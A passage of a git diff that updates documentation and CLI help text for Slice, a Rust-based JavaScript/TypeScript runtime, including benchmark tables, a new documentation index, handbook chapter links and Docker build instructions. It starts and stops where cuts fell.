(`v0.10.12`) | Bun (`v1.4.4`) | Deno (`v2.9.8`) | Node.js (`v27.0.0-alpha.0.0.0`) | +| :--- | :---: | :---: | :---: | :---: | +| **Isolate Cold Start (`P50` / `P99`)** | **`1.02 us` / `4.27 us`** | Process / VM | Process / VM | Process / VM | +| **1,000-Tenant Swarm (Boot + Exec)** | **`1.74 ms` (`9.82 MB` RSS)** | `> 5,000 ms` | `> 15,000 ms` | `> 30,000 ms` | +| **HTTP/1.1 Keep-Alive (`16k` Reqs)** | **`154,794 req/s`** (Tier-0) / **`147,564 req/s`** (Tier-1) | `100,562 req/s` | `99,082 req/s` | `56,447 req/s` | +| **33-Workload Cold `.cas` Total** | **`496.3 ms`** (`1.40x` Bun / `5.44x` Node) | `695.3 ms` | `1,745.0 ms` | `2,700.0 ms` | +| **33-Workload `--warm` Pooled Total** | **`167.1 ms`** (`4.16x` Bun / `16.16x` Node) | `695.3 ms` | `1,745.0 ms` | `2,700.0 ms` | +| **Peak Memory (`Max RSS` Range)** | **`13.45 - 21.63 MB`** | `26.13 - 40.25 MB` | `45.69 - 62.38 MB` | `70.15 - 93.00 MB` | + +Full 33-workload breakdown, per-app latency and RSS tables, and run provenance (`dc31f74`, `2026-11-11T17:58:36Z`): **[`tests/reports/latest.md`](./tests/reports/latest.md)** (archive: [`bench_v0.10.12_20261111_175836Z_dc31f74.md`](./tests/reports/bench_v0.10.12_20261111_175836Z_dc31f74.md)). + -Run the full 33-workload Docker benchmark suite (which automatically writes a timestamped report to [`tests/reports/`](./tests/reports/latest.md) and syncs documentation tables) or filter by tags (`all`, `apps`, `frameworks`, `case_studies`, `n1`, `n2`, `n3`, `f1`, `f2`, `f3`, `f4`, `wasm`, `serve`, `swarm`): +To reproduce the full Linux `x86_64` Docker benchmark suite locally and regenerate [`tests/reports/latest.md`](./tests/reports/latest.md): ```powershell -# Automated one-command runner (builds Docker image, runs benchmarks, generates tests/reports/latest.md, and syncs docs) powershell -ExecutionPolicy Bypass -File .\scripts\run_benchmarks.ps1 - -# Or run a specific tagged subset (e.g. frameworks, case_studies, serve, swarm) -powershell -ExecutionPolicy Bypass -File .\scripts\run_benchmarks.ps1 -Tags "frameworks,case_studies,serve,swarm" - -# Run all workspace unit & integration tests locally -cargo test --workspace ``` --- -## Documentation (`docs/general/`, `docs/guides/`, `docs/system/`) - -### User & Developer Manual by Chapter (`docs/general/`) -* **[Chapter 00: Master Documentation Index](./docs/general/00_index.md)** -* **[Chapter 01: Getting Started, Unified 4-Layer Configuration & Complete CLI Reference](./docs/general/01_getting_started_and_cli.md)** -* **[Chapter 02: Hybrid Three-Tier Execution Engine & Default `SLICEBC\x01` Precompiled CAS (`slice-engine`)](./docs/general/02_execution_engine_and_tiers.md)** -* **[Chapter 03: Zero-Stat CAS Archive, Oxc Bundler & Standalone Binaries (`slice-cas`)](./docs/general/03_cas_bundler_and_standalone_binaries.md)** -* **[Chapter 04: Security Architecture — OCap, SES Lockdown, Fuel Cage & Hardware MPK (`slice-sandbox`)](./docs/general/04_security_ocap_ses_and_hardware_mpk.md)** -* **[Chapter 05: Multi-Tenant HTTP/1.1 Server, WinterTC Bridge & Sharded Edge KV (`slice serve`)](./docs/general/05_http_server_wintertc_and_edge_kv.md)** -* **[Chapter 06: AI Agent "Code Mode" Sandbox, `< 5 us` Checkpoints & Native MCP Server (`slice mcp`)](./docs/general/06_ai_agent_sandbox_checkpoints_and_mcp.md)** -* **[Chapter 07: Node.js Compatibility (`node:*`), Native Intrinsics & External NPM Packages](./docs/general/07_node_compat_intrinsics_and_npm.md)** -* **[Chapter 08: Kernel Completion Rings (`slice-io`) & Embedding Slice in Rust](./docs/general/08_kernel_io_rings_and_rust_embedding.md)** -* **[Chapter 09: Benchmarks, Time-Travel Testing & 33-Workload Docker Verification Suite](./docs/general/09_benchmarks_testing_and_docker_suite.md)** -* **[Runtime Compatibility Matrix (`docs/general/COMPATIBILITY.md`)](./docs/general/COMPATIBILITY.md)** - -### Developer How-To Guides (`docs/guides/`) -* **[Developer Guides & Recipes Index (`docs/guides/README.md`)](./docs/guides/README.md)** -* **[Guide 01: Building & Deploying Hono (`v4`), UnJS, and SvelteKit (`v3`) Edge Microservices (`docs/guides/01_hono_and_unjs_edge_microservices.md`)](./docs/guides/01_hono_and_unjs_edge_microservices.md)** -* **[Guide 02: TypeScript IDE Setup (`slice.d.ts`), Linting (`oxlint` / `Biome`), & `.wasm` Modules (`docs/guides/02_typescript_ide_linting_and_wasm.md`)](./docs/guides/02_typescript_ide_linting_and_wasm.md)** - -### System Engineering Specifications (`docs/system/`, `vendor/`, & `tests/`) -* **[00: System Architecture & Internal Specification Index (`docs/system/00_index.md`)](./docs/system/00_index.md)** -* **[01: `slice-cas` — Zero-Stat CAS, Oxc Compiler & AST Tree-Shaker (`docs/system/01_cas_bundler_and_oxc_compiler.md`)](./docs/system/01_cas_bundler_and_oxc_compiler.md)** -* **[02: `slice-engine` — Hybrid Three-Tier Execution Pipeline, `SLICEBC\x01` & `WarmBoaRealm` (`docs/system/02_tiered_execution_and_boa_vm.md`)](./docs/system/02_tiered_execution_and_boa_vm.md)** -* **[03: `slice-sandbox` — 5-Ring Zero-Trust OCap, Dynamic SES & Hardware MPK (`docs/system/03_security_sandbox_ocap_and_mpk.md`)](./docs/system/03_security_sandbox_ocap_and_mpk.md)** -* **[04: Networking, WinterTC Web Platform & Async Event Loop (`docs/system/04_networking_wintertc_and_event_loop.md`)](./docs/system/04_networking_wintertc_and_event_loop.md)** -* **[05: Pure-Rust WebAssembly, Web Workers & Direct Kernel I/O (`docs/system/05_wasm_workers_and_kernel_io.md`)](./docs/system/05_wasm_workers_and_kernel_io.md)** -* **[06: Serverless Edge KV, AI Agent "Code Mode" & MCP Server (`docs/system/06_edge_kv_ai_sandbox_and_mcp.md`)](./docs/system/06_edge_kv_ai_sandbox_and_mcp.md)** -* **[07: Production Tooling & Deployment Guide (`docs/system/07_production_tooling_guide.md`)](./docs/system/07_production_tooling_guide.md)** -* **[08: Empirical Benchmarks & 33-Workload Comparisons (`docs/system/08_benchmarks_and_comparisons.md`)](./docs/system/08_benchmarks_and_comparisons.md)** -* **[09: Cutting-Edge 2026 Research Deep Dive (`docs/system/09_research_deep_dive.md`)](./docs/system/09_research_deep_dive.md)** -* **[Vendored `boa_engine` `SLICEBC\x01` Patch Specification (`vendor/boa_engine/SLICE_PATCH.md`)](./vendor/boa_engine/SLICE_PATCH.md)** -* **[Latest Full 33-Workload Benchmark Report (`tests/reports/latest.md`)](./tests/reports/latest.md)** -* **[Docker 33-Workload Production Benchmarks (`tests/README.md`)](./tests/README.md)** -* **[Framework Integration Benchmarks (`tests/frameworks/README.md`)](./tests/frameworks/README.md)** -* **[Interactive Production Case Studies & Visual Cockpit (`tests/case_studies/README.md`)](./tests/case_studies/README.md)** +## Documentation + +Full documentation is organized under [`docs/`](./docs/README.md): + +* **Developer Handbook (`docs/general/`)** - Step-by-step guides for CLI configuration, execution tiers, `.cas` bundling, OCap/DLP security, `slice serve`, AI agent checkpoints/MCP, `node:*` compatibility, Rust embedding, and time-travel testing. +* **Framework & Tooling Guides (`docs/guides/`)** - Recipes for deploying Hono, UnJS, and SvelteKit 3, configuring TypeScript IDEs (`slice.d.ts`), and bundling WebAssembly. +* **API Compatibility (`docs/general/COMPATIBILITY.md`)** - Supported WinterTC Web APIs, `node:*` modules, `Buffer`, and `Slice.*` globals. +* **System Architecture (`docs/system/`)** - Internal engineering specs for `slice-cas`, `slice-engine`, `slice-sandbox`, `slice-io`, and the vendored `boa_engine` bytecode pipeline. + +Start at the **[Documentation Index (`docs/README.md`)](./docs/README.md)**. + +## License + +Licensed under either of [Apache License, Version 2.0](./LICENSE-APACHE) or [MIT License](./LICENSE-MIT) at your option. diff --git a/crates/slice-cli/src/commands/pack_and_compile.rs b/crates/slice-cli/src/commands/pack_and_compile.rs index a2dea83..5da1dd9 100644 --- a/crates/slice-cli/src/commands/pack_and_compile.rs +++ b/crates/slice-cli/src/commands/pack_and_compile.rs @@ -39,8 +39,9 @@ pub(crate) fn print_usage() { ); println!(); println!("Core Commands:"); - println!(" slice init [dir] [--template=sveltekit] Scaffold a new TypeScript Edge or SvelteKit 2 project"); + println!(" slice init [dir] [--template=sveltekit] Scaffold a new TypeScript Edge or SvelteKit 3 project"); println!(" slice run [target] [--warm] [--watch] Execute a script, folder app, .cas bundle, or slice.toml"); + println!(" slice check Parse and syntax-check TypeScript/JavaScript without executing"); println!(" slice test [target] [--filter=PAT] [--json] Run Time-Travel Test Suite (< 5us VFS+KV rollback per test)"); println!(" slice serve [target] [--port=N] [--smoke-test] Launch multi-tenant WinterTC HTTP MicroVM server"); println!(" slice pack Pack a file or folder app into a Zero-Stat BLAKE3 .cas archive"); diff --git a/docs/README.md b/docs/README.md new file mode 100644 index 0000000..e37a668 --- /dev/null +++ b/docs/README.md @@ -0,0 +1,58 @@ +# Slice Documentation Index + +Welcome to the documentation hub for **Slice** (`v0.10.12`), a zero-trust JavaScript and TypeScript runtime built in Rust for multi-tenant edge services, SaaS plugin engines, and AI agent sandboxes. + +Documentation is organized into four tracks depending on what you are building: + +| Track | Audience | Entrypoint | +| :--- | :--- | :--- | +| **1. Developer Handbook (`docs/general/`)** | JS/TS application developers, DevOps, and Rust embedders | [`docs/general/00_index.md`](./general/00_index.md) | +| **2. Framework & Tooling Guides (`docs/guides/`)** | End-to-end recipes for web frameworks, IDE setup, and WebAssembly | [`docs/guides/README.md`](./guides/README.md) | +| **3. API Compatibility Matrix** | Supported WinterTC Web APIs, `node:*` modules, and `Slice.*` globals | [`docs/general/COMPATIBILITY.md`](./general/COMPATIBILITY.md) | +| **4. Architecture & Crate Internals (`docs/system/`)** | Runtime contributors and systems engineers | [`docs/system/00_index.md`](./system/00_index.md) | + +--- + +## 1. User & Developer Handbook (`docs/general/`) + +* **[00: Handbook Overview & Common Workflows](./general/00_index.md)** +* **[01: Getting Started, Configuration & Complete CLI Reference](./general/01_getting_started_and_cli.md)** - Install scripts, `slice init`, `slice.toml`, inline `@slice-*` directives, `SLICE_*` env vars, and all CLI commands/flags. +* **[02: Execution Engine & Tiers (`slice-engine`)](./general/02_execution_engine_and_tiers.md)** - Precompiled `SLICEBC` bytecode, `--warm` isolate pooling, TypeScript type-guided optimizations, and Tier-0/Tier-1/Tier-2 modes. +* **[03: Zero-Stat CAS Bundler & Standalone Binaries (`slice-cas`)](./general/03_cas_bundler_and_standalone_binaries.md)** - `slice pack`, `slice compile`, static asset embedding (`--static`), and `slice inspect`. +* **[04: Security Architecture: OCap, SES, Fuel & DLP (`slice-sandbox`)](./general/04_security_ocap_ses_and_hardware_mpk.md)** - File/network/env/exec capability rules, CPU fuel and memory cages, SSRF blocking, and outbound secret redaction. +* **[05: HTTP Edge Server, WinterTC APIs & Sharded KV (`slice serve`)](./general/05_http_server_wintertc_and_edge_kv.md)** - Multi-worker HTTP/1.1 keep-alive, TLS 1.3, SSE, WebSockets, `Slice.kv`, and `--tenant-dir` hot-swapping. +* **[06: AI Agent Sandboxes, `< 5 us` Checkpoints & MCP (`slice mcp`)](./general/06_ai_agent_sandbox_checkpoints_and_mcp.md)** - `Slice.evalSandbox()`, `Slice.checkpoint()` / `Slice.restore()`, deterministic replay, and stdio MCP integration. +* **[07: Node.js Compatibility (`node:*`), Intrinsics & NPM Packages](./general/07_node_compat_intrinsics_and_npm.md)** - Built-in `node:*` modules (`fs`, `crypto`, `stream`, `http`, `async_hooks`, `zlib`, `worker_threads`), `Buffer`, and migration recipes. +* **[08: Kernel Completion Rings (`slice-io`) & Rust Embedding](./general/08_kernel_io_rings_and_rust_embedding.md)** - Linux `io_uring` / Windows `IOCP` reactor and embedding `SliceIsolate` inside Rust host applications. +* **[09: Time-Travel Testing (`slice test`) & Docker Benchmark Suite](./general/09_benchmarks_testing_and_docker_suite.md)** - Writing tests with automatic `< 5 us` VFS+KV rollback and running the reproducible 33-workload benchmark suite. +* **[Runtime Compatibility Matrix (`COMPATIBILITY.md`)](./general/COMPATIBILITY.md)** - Reference table of WinterTC standards, `node:*` APIs, `Buffer`, and `Slice.*` runtime extensions. + +--- + +## 2. Framework & Tooling Guides (`docs/guides/`) + +* **[Guides Overview](./guides/README.md)** +* **[Guide 01: Hono (`v4`), UnJS/Nitro & SvelteKit (`v3`) Microservices](./guides/01_hono_and_unjs_edge_microservices.md)** +* **[Guide 02: TypeScript IDE Setup (`slice.d.ts`), Linting & WebAssembly](./guides/02_typescript_ide_linting_and_wasm.md)** + +--- + +## 3. System Architecture & Internals (`docs/system/`) + +* **[00: System Architecture Overview & Crate Map](./system/00_index.md)** +* **[01: `slice-cas` - Zero-Stat CAS Archive, Oxc Compiler & Linker](./system/01_cas_bundler_and_oxc_compiler.md)** +* **[02: `slice-engine` - Bytecode Pipeline, Prelude Shards & Native Intrinsics](./system/02_tiered_execution_and_boa_vm.md)** +* **[03: `slice-sandbox` - 5-Ring OCap Compartments, Dynamic SES & Hardware MPK](./system/03_security_sandbox_ocap_and_mpk.md)** +* **[04: Networking, WinterTC Web Platform & Event Loop](./system/04_networking_wintertc_and_event_loop.md)** +* **[05: Pure-Rust WebAssembly (`wasmi`), Workers & Kernel I/O](./system/05_wasm_workers_and_kernel_io.md)** +* **[06: Sharded Edge KV, Copy-on-Write Checkpoints & MCP Server](./system/06_edge_kv_ai_sandbox_and_mcp.md)** +* **[Vendored `boa_engine` Patch Specification (`SLICE_PATCH.md`)](../vendor/boa_engine/SLICE_PATCH.md)** + +--- + +## 4. Benchmarks & Verification Suites (`tests/`) + +* **[Latest Verified 33-Workload Benchmark Report (`tests/reports/latest.md`)](../tests/reports/latest.md)** +* **[24 Production Application Suites (`tests/README.md`)](../tests/README.md)** +* **[Full-Stack Framework Suites (`tests/frameworks/README.md`)](../tests/frameworks/README.md)** - Hono v4, itty-router + UnJS, Express/Polka `node:http`, and SvelteKit 3 + Svelte 5 SSR. +* **[Interactive Case Studies & Visual Cockpit (`tests/case_studies/README.md`)](../tests/case_studies/README.md)** - Tree-of-Thought SRE agent, MCP code-mode orchestrator, multi-tenant SaaS plugin mesh, Wasm CDR pipeline, and payment saga chaos fuzzer. diff --git a/docs/general/00_index.md b/docs/general/00_index.md index dc1f428..7e31e5c 100644 --- a/docs/general/00_index.md +++ b/docs/general/00_index.md @@ -1,6 +1,6 @@ # The Slice (Nexus-JS) Developer Handbook (`v0.10.12`) -Welcome to the complete developer handbook for **Slice (Nexus-JS)** (`v0.10.12`) — a microVM-grade JavaScript and TypeScript runtime, compiler, HTTP server, and AI sandbox engineered in Rust. +Welcome to the complete developer handbook for **Slice (Nexus-JS)** (`v0.10.12`) - a microVM-grade JavaScript and TypeScript runtime, compiler, HTTP server, and AI sandbox engineered in Rust. Whether you are building a high-throughput full-stack web service, packaging a CLI tool into a single zero-dependency executable, running 1,000 untrusted customer plugins on a single machine, or executing LLM-generated TypeScript inside an AI coding agent, this handbook walks you through every feature, CLI command, API, security capability, and migration pattern from the perspective of an application developer. @@ -14,16 +14,16 @@ Traditional JavaScript runtimes (**Node.js**, **Deno**, and **Bun**) were built **Slice replaces that tradeoff with four developer-facing superpowers:** -1. **Instant Cold Starts & Precompiled `SLICEBC\x01` Packaging (`1.27 us` P50 Isolate / `0` `stat()` Syscalls):** - - Run `.ts`, `.js`, or entire project folders directly (`slice run`), pack them into a 64-byte aligned BLAKE3 `.cas` archive with ahead-of-time **Precompiled Boa `CodeBlock` (`SLICEBC\x01`)** bytecode (`slice pack`), or compile your backend + frontend UI into a **single zero-dependency native executable** (`slice compile`) — beating **Bun (`v1.3.10`)** on **30 out of 31** real-world application benchmarks (`5.11 ms` vs `25.19 ms` on App 01, `13.11 ms` vs `33.24 ms` on Hono v4). +1. **Instant Cold Starts & Precompiled `SLICEBC\x01` Packaging (`~1 us` P50 Isolate / `0` `stat()` Syscalls):** + - Run `.ts`, `.js`, or entire project folders directly (`slice run`), pack them into a 64-byte aligned BLAKE3 `.cas` archive with ahead-of-time **Precompiled Boa `CodeBlock` (`SLICEBC\x01`)** bytecode (`slice pack`), or compile your backend + frontend UI into a **single zero-dependency native executable** (`slice compile`). See [`tests/reports/latest.md`](../../tests/reports/latest.md) for live cold-start and `--warm` benchmarks across all 33 real-world workloads against Bun, Deno, and Node.js. 2. **True Multi-Tenant MicroVM Security in Microseconds:** - - Every script or HTTP request executes inside a frozen Secure ECMAScript (`SES`) compartment with explicit **Object-Capability (OCap)** permissions (`allow_read`, `allow_write`, `allow_net`, `allow_env`), deterministic **CPU instruction fuel limits**, **byte-level memory cages**, a built-in **Cloud Metadata SSRF Firewall**, and **Outbound Egress DLP** that blocks raw, Base64, and Base64URL secret leaks. -3. **Full-Stack Web & Edge Server Out of the Box (`163,766 req/s` Tier-0 / `126,566 req/s` Tier-1):** - - Write standard WinterTC / Cloudflare Workers / Bun / Deno `export default { fetch(req, env, ctx) }` handlers (`Request`, `Response`, `Headers`, `URL`, `URLSearchParams`, `ReadableStream`), stream **Server-Sent Events (`Response.sse`)**, use the built-in **16-way sharded `Slice.kv` store**, serve static frontend assets (`--static=./public`) with `< 2 us` BLAKE3 `ETag` `304` responses, and hot-swap tenant bundles (`--tenant-dir`) with zero downtime. -4. **Unified 4-Layer Configuration & AI Agent Primitives:** + - Every script or HTTP request executes inside a frozen Secure ECMAScript (`SES`) compartment with explicit **Object-Capability (OCap)** permissions (`allow_read`, `allow_write`, `allow_net`, `allow_exec`, `allow_env`), deterministic **CPU instruction fuel limits**, **byte-level memory cages**, a built-in **Cloud Metadata SSRF Firewall**, and **Outbound Egress DLP** that blocks raw, Base64, and Base64URL secret leaks. +3. **Full-Stack Web & Edge Server Out of the Box (`slice serve`):** + - Write standard WinterTC / Cloudflare Workers / Bun / Deno `export default { fetch(req, env, ctx) }` handlers (`Request`, `Response`, `Headers`, `URL`, `URLSearchParams`, `URLPattern`, `ReadableStream`, `CompressionStream`, `Intl`), stream **Server-Sent Events (`Response.sse`)**, use the built-in **16-way sharded `Slice.kv` store**, serve static frontend assets (`--static=./public`) with `< 2 us` BLAKE3 `ETag` `304` responses, and hot-swap tenant bundles (`--tenant-dir`) with zero downtime. See [`tests/reports/latest.md`](../../tests/reports/latest.md) for verified HTTP/1.1 Keep-Alive throughput benchmarks. +4. **Unified Configuration & AI Agent Primitives:** - Configure every engine, limit, OCap permission, and server setting declaratively across **`slice.toml`**, **top-of-file inline directives (`// @slice-...`)**, **`SLICE_*` environment variables**, and **CLI flags (`--*`)**. - - Run unit tests with **`slice test`**, where every `test()` block automatically snapshots (`Slice.checkpoint()`) and rolls back (`Slice.restore()`) both the filesystem (`node:fs`) and `Slice.kv` in `< 5 microseconds`. - - Spawn nested, capability-attenuated sub-sandboxes in `~27 microseconds` with **`Slice.evalSandbox()`** or connect Claude Code / Cursor directly to **`slice mcp`**. + - Run unit tests with **`slice test`**, where every `test()` block automatically snapshots (`Slice.checkpoint()`) and rolls back (`Slice.restore()`) both the filesystem (`node:fs`) and `Slice.kv` in `< 5 us`. + - Spawn nested, capability-attenuated sub-sandboxes in tens of microseconds with **`Slice.evalSandbox()`** or connect Claude Code / Cursor directly to **`slice mcp`**. --- @@ -31,13 +31,13 @@ Traditional JavaScript runtimes (**Node.js**, **Deno**, and **Bun**) were built | Chapter | Title & Developer Focus | | :--- | :--- | -| **[Chapter 01](./01_getting_started_and_cli.md)** | **Installation, Upgrading, Quickstart, `slice.toml` & Complete CLI Reference**
Install and update Slice on Windows, Linux, macOS, and Docker; scaffold your first project with `slice init`; master `slice.toml`, `.env` Auto-DLP, `< 3 ms` `--watch`, `slice repl`, `slice doctor`, and all 13 CLI commands. | -| **[Chapter 02](./02_execution_engine_and_tiers.md)** | **Writing TypeScript & JavaScript for Maximum Performance**
Understand how Slice runs your code across Tier-0 Snapshots, Tier-1 Warm Realms (`--warm`), and Tier-2 Native SIMD Kernels — and how simple TypeScript type annotations (`: number`, `interface`) unlock automatic compile-time speedups. | +| **[Chapter 01](./01_getting_started_and_cli.md)** | **Installation, Upgrading, Quickstart, `slice.toml` & Complete CLI Reference**
Install and update Slice on Windows, Linux, macOS, and Docker; scaffold projects with `slice init` (including `--template=sveltekit`); master `slice.toml`, `.env` Auto-DLP, `< 3 ms` `--watch`, `slice check`, `slice repl`, `slice doctor`, and all 14 CLI commands. | +| **[Chapter 02](./02_execution_engine_and_tiers.md)** | **Writing TypeScript & JavaScript for Maximum Performance**
Understand how Slice runs your code across Tier-0 Snapshots, Tier-1 Warm Realms (`--warm`), and Tier-2 Native SIMD Kernels - and how simple TypeScript type annotations (`: number`, `interface`) unlock automatic compile-time speedups. | | **[Chapter 03](./03_cas_bundler_and_standalone_binaries.md)** | **Bundling Apps (`slice pack`), Single-File Executables (`slice compile`) & Bytecode Inspection**
Bundle multi-file TypeScript apps and `node_modules` into `.cas` archives, embed frontend static assets (`--static`), ship standalone native binaries (`SLICEEXE`), and inspect bundles with `slice inspect`. | -| **[Chapter 04](./04_security_ocap_ses_and_hardware_mpk.md)** | **Zero-Trust Security Guide: OCap Permissions, Fuel Limits, SSRF Shield & Egress DLP**
Configure `allow_read`, `allow_write`, `allow_net`, and `allow_env`; cap CPU fuel and memory per tenant; prevent `169.254.169.254` SSRF attacks; and block accidental or malicious secret leaks with `--audit-egress` and Auto-DLP `.env`. | +| **[Chapter 04](./04_security_ocap_ses_and_hardware_mpk.md)** | **Zero-Trust Security Guide: OCap Permissions, Fuel Limits, SSRF Shield & Egress DLP**
Configure `allow_read`, `allow_write`, `allow_net`, `allow_exec`, and `allow_env`; cap CPU fuel and memory per tenant; prevent `169.254.169.254` SSRF attacks; and block accidental or malicious secret leaks with `--audit-egress` and Auto-DLP `.env`. | | **[Chapter 05](./05_http_server_wintertc_and_edge_kv.md)** | **Building Full-Stack Web Apps, APIs, Static Sites & SSE Streams (`slice serve`)**
Build production HTTP services with `export default { fetch }`, `Request`/`Response`/`URL`/`Headers`, `Slice.kv` rate limiters and sessions, `--static` CDN asset serving, `Response.sse` streaming, outbound `fetch()`, and `--tenant-dir` hot-swapping. | | **[Chapter 06](./06_ai_agent_sandbox_checkpoints_and_mcp.md)** | **AI Agents, Nested MicroVM Sandboxes (`Slice.evalSandbox`), `< 5 us` Checkpoints & `slice mcp`**
Execute untrusted LLM or user plugin code safely in microseconds, branch and roll back VFS + KV state with `Slice.checkpoint()` / `Slice.restore()`, and integrate `slice mcp` with Claude Code and Cursor. | -| **[Chapter 07](./07_node_compat_intrinsics_and_npm.md)** | **Node.js Compatibility (`node:*`), NPM Packages & Migration Guide (Node / Bun / Deno to Slice)**
Complete API reference for `node:fs`, `node:crypto`, `node:path`, `node:os`, `node:buffer`, `node:url`, `node:util`, `node:process`, and `node:test`, plus recipes for npm packages and step-by-step migration guides from Express/Fastify, Hono, Bun, and Deno. | +| **[Chapter 07](./07_node_compat_intrinsics_and_npm.md)** | **Node.js Compatibility (`node:*`), NPM Packages & Migration Guide (Node / Bun / Deno to Slice)**
Complete API reference for `node:fs`, `node:crypto`, `node:stream`, `node:http`, `node:async_hooks`, `node:zlib`, `node:worker_threads`, `node:string_decoder`, `node:child_process`, `node:net`, `node:dgram`, `node:path`, `node:buffer`, `node:url`, `node:util`, `node:process`, and `node:test`, plus npm recipes and migration guides from Express/Fastify, Hono, SvelteKit, Bun, and Deno. | | **[Chapter 08](./08_kernel_io_rings_and_rust_embedding.md)** | **Embedding Slice in Rust Applications & High-Density MicroVM Swarms**
Embed `slice-engine`, `slice-cas`, `slice-sandbox`, and `slice-io` as a library inside your own Rust services to run thousands of isolated tenant scripts in a single process. | | **[Chapter 09](./09_benchmarks_testing_and_docker_suite.md)** | **Time-Travel Testing (`slice test`), Deterministic Replay & Production Benchmarks**
Write rock-solid unit and security tests with `slice test` (`expect(...).toViolate()`, `.toStayWithinFuel()`, `< 5 us` VFS+KV rollbacks), replay bugs with `--deterministic`, and explore all 33 real-world benchmark applications, frameworks, and case studies. | | **[Compatibility Matrix](./COMPATIBILITY.md)** | **WinterTC, Node.js (`node:*`), `Buffer` & NPM Bundler Compatibility Matrix**
Complete reference of supported WinterTC Web APIs, `Uint8Array`-backed `Buffer` methods, `node:*` core modules, and `package.json` `"exports"` bundler capabilities. | @@ -47,7 +47,7 @@ Traditional JavaScript runtimes (**Node.js**, **Deno**, and **Bun**) were built ## Choose Your Path: Common Developer Workflows ### 1. "I want to build and ship a Full-Stack Web App or REST/GraphQL API" -1. Scaffold a project: `slice init my-web-api` ([Chapter 01](./01_getting_started_and_cli.md)) +1. Scaffold a project: `slice init my-web-api` (or `slice init my-app --template=sveltekit`) ([Chapter 01](./01_getting_started_and_cli.md)) 2. Write a standard `export default { fetch(req, env, ctx) }` handler using `Request`, `Response.json()`, `URL`, and `Slice.kv` ([Chapter 05](./05_http_server_wintertc_and_edge_kv.md)) 3. Attach your frontend build folder with `--static=./public` and compile everything into a single binary: ```bash @@ -67,8 +67,9 @@ Traditional JavaScript runtimes (**Node.js**, **Deno**, and **Bun**) were built --- -## Developer Guides (`docs/guides/`) & System Architecture Docs (`docs/system/`) +## Documentation Index, Developer Guides (`docs/guides/`) & System Architecture (`docs/system/`) +- **Top-Level Documentation Index:** [`docs/README.md`](../README.md) - **Developer How-To Guides (`docs/guides/`):** - [`docs/guides/README.md`](../guides/README.md) - [`docs/guides/01_hono_and_unjs_edge_microservices.md`](../guides/01_hono_and_unjs_edge_microservices.md) @@ -81,11 +82,9 @@ Traditional JavaScript runtimes (**Node.js**, **Deno**, and **Bun**) were built - [`docs/system/04_networking_wintertc_and_event_loop.md`](../system/04_networking_wintertc_and_event_loop.md) - [`docs/system/05_wasm_workers_and_kernel_io.md`](../system/05_wasm_workers_and_kernel_io.md) - [`docs/system/06_edge_kv_ai_sandbox_and_mcp.md`](../system/06_edge_kv_ai_sandbox_and_mcp.md) - - [`docs/system/07_production_tooling_guide.md`](../system/07_production_tooling_guide.md) - - [`docs/system/08_benchmarks_and_comparisons.md`](../system/08_benchmarks_and_comparisons.md) - - [`docs/system/09_research_deep_dive.md`](../system/09_research_deep_dive.md) - [`vendor/boa_engine/SLICE_PATCH.md`](../../vendor/boa_engine/SLICE_PATCH.md) (`SLICEBC1` Precompiled `CodeBlock` Vendor Patch Specification) - **Docker Application, Framework & Case Study Test Suites (`tests/`):** - - [`tests/README.md`](../../tests/README.md) (`tests/apps/` — 24 Production Apps) - - [`tests/frameworks/README.md`](../../tests/frameworks/README.md) (`tests/frameworks/` — Hono v4, itty-router + UnJS, Express/Polka, & SvelteKit 3 + Svelte 5) - - [`tests/case_studies/README.md`](../../tests/case_studies/README.md) (`tests/case_studies/` — 5 Architectural Differentiation Workloads) + - [`tests/reports/latest.md`](../../tests/reports/latest.md) (Latest Verified 33-Workload Benchmark Report) + - [`tests/README.md`](../../tests/README.md) (`tests/apps/` - 24 Production Apps) + - [`tests/frameworks/README.md`](../../tests/frameworks/README.md) (`tests/frameworks/` - Hono v4, itty-router + UnJS, Express/Polka, & SvelteKit 3 + Svelte 5) + - [`tests/case_studies/README.md`](../../tests/case_studies/README.md) (`tests/case_studies/` - 5 Architectural Differentiation Workloads) diff --git a/docs/general/01_getting_started_and_cli.md b/docs/general/01_getting_started_and_cli.md index 54a003d..940e6fd 100644 --- a/docs/general/01_getting_started_and_cli.md +++ b/docs/general/01_getting_started_and_cli.md @@ -1,6 +1,6 @@ # Chapter 01: Installation, Upgrading, Quickstart, `slice.toml` & Complete CLI Reference -This chapter is your complete day-one guide to installing, upgrading, configuring, and operating **Slice (Nexus-JS)** (`v0.10.12`). By the end of this chapter, you will know how to install and update Slice on any operating system, scaffold a new TypeScript project, configure your `slice.toml` manifest and `.env` vault, run live development with `< 3 ms` `--watch` reloads, use the interactive `slice repl` shell, and master all 13 CLI commands. +This chapter is your complete day-one guide to installing, upgrading, configuring, and operating **Slice (Nexus-JS)** (`v0.10.12`). By the end of this chapter, you will know how to install and update Slice on any operating system, scaffold a new TypeScript or SvelteKit 3 + Svelte 5 project, configure your `slice.toml` manifest and `.env` vault, run live development with `< 3 ms` `--watch` reloads, syntax-check scripts with `slice check`, use the interactive `slice repl` shell, and master all 14 CLI commands. --- @@ -47,11 +47,11 @@ The compiled binary is produced at: ### 1.4 Running Slice in Docker -Slice includes a production multi-stage [`Dockerfile`](../../Dockerfile) at the repository root: +Slice includes a multi-stage [`tests/Dockerfile`](../../tests/Dockerfile) for Linux `x86_64` builds and reproducible verification: ```bash -docker build -t slice-runtime . -docker run --rm slice-runtime info -docker run --rm slice-runtime doctor +docker build -f tests/Dockerfile -t slice-runtime . +docker run --rm --entrypoint slice slice-runtime info +docker run --rm --entrypoint slice slice-runtime doctor ``` --- @@ -133,9 +133,14 @@ This creates four files: - `tsconfig.json`: Pre-configured `"moduleResolution": "bundler"`, `"jsxImportSource": "slice:jsx"`, and `"noEmit": true` for instant IDE IntelliSense and `tsc --noEmit`. - `src/index.ts`: Your TypeScript entrypoint. -### Step 1b: Type-Checking (`tsc --noEmit`) & Linting/Formatting (`oxlint` / `Biome`) -At runtime and during `slice pack` / `slice compile`, Slice uses the native Rust **Oxc (`v0.152.0`)** compiler to transpile `.ts` and `.tsx` in microseconds without waiting for the TypeScript type-checker. For static type validation, linting, and code formatting in your IDE or CI pipeline: +*(To scaffold a full-stack SvelteKit 3 + Svelte 5 SSR project with `@slicevm/adapter-sveltekit`, pass `--template=sveltekit`: `slice init ./my-app --template=sveltekit`.)* + +### Step 1b: Type-Checking (`tsc --noEmit`), Syntax Checking (`slice check`) & Linting (`oxlint` / `Biome`) +At runtime and during `slice pack` / `slice compile`, Slice uses the native Rust **Oxc (`v0.152.0`)** compiler to transpile `.ts` and `.tsx` in microseconds without waiting for the TypeScript type-checker. For fast syntax 